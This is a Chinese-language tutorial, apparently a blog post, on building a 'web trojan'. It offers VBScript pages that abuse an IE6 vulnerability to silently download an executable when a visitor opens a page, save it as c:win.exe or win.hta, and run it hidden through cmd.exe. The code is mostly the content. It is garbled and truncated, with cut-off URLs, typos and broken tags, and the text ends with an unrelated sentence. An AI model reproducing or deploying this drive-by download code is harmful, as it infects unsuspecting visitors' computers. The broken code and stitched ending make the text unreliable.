以前写了一篇文章，讲了关于怎样用最简单的方法获取对方的管理权限，里面用到了网页木马，最近有许多网友问我怎样制作网页木马，就这个问题我发表篇比较简单易懂的文章，希望大家珍惜我的劳动成果。
我们经常听到这样的忠告：“不要随意下在不明的程序，不要随意打开邮件的附件…”这样的忠告确实是有用的，不过我们的系统有不少漏洞，许多木马已经不需要客户端和服务端了，他们利用这些系统漏洞按照被系统认为合法的代码执行木马的功能，有的木马会在你完全不知道的情况下潜入，现在我来讲解下通过IE6的漏洞实现访问网页后神不知鬼不觉的下在并执行指定程序的例子，也就是网页木马.
首先我们需要编写几个简单的文件
一。名字为abc.abc的文件<html><script language=”vbscript”>Function HttpDoGet(url) set oReq = CreateObject(“Microsoft.XMLHTTP”) oReq.open “GET”,url,false oReq.send If oReq.status=200 then HttpDoGet=oReq.respomseBody Savefile HttpDoGet,”c:win.exe” End If Set oReq=nothingEnd Functionsub SaveFile(str.fName) Set objStream = CreateObject(“ADODB.Stream”) objStream.Type =1 objStream.Open objStream.write str objStream.SaveToFile fName.2 objStream.Close() set objStream = nothing exewin()End subSub exewin() set wshshell=createobject (“wscript.shell” ) a=wshshell.run (“cmd.exe /c c:win.exe”,0) b=wshshell.run (“cmd.exe /c del c:win.hta”,0) window.closeEnd SubHttpDoGet “</script></html>其中test.exe为木马程序，实现必须放在WEB发布的目录下，文件abc.abc也必须保存在发布的目录下。
二。名字为test.htm的文件
<html><body>木马运行测试！（这句话可以改成你想说的）<object date=”</body></html>
三。名字为win.test的文件<html><body><script language=”vbscript”>Function HttpDoGet(url) set oReq = CreateObject(“Microsoft.XMLHTTP”) oReq.open “GET”,url,false oReq.send If oReq.status=200 then HttpDoGet,”c:win.hta” Set oReq=nothing End ifend functionsub SaveFile(str,fName) Dim fso, tf S e t f s o = C r e a t e O b j e c t(Scripting.FileSystemObject”) Set tf = fso.CreateTextfile(fName,True) tf.Write str tf.Close exewin()End subSub exewin() set wshshell=createobject (“wscript.shell” ) a=wshshell.run (“cmd.exe /c c:win.hat”,
人生就是一次充满未知的旅行，在乎的是沿途的风景，
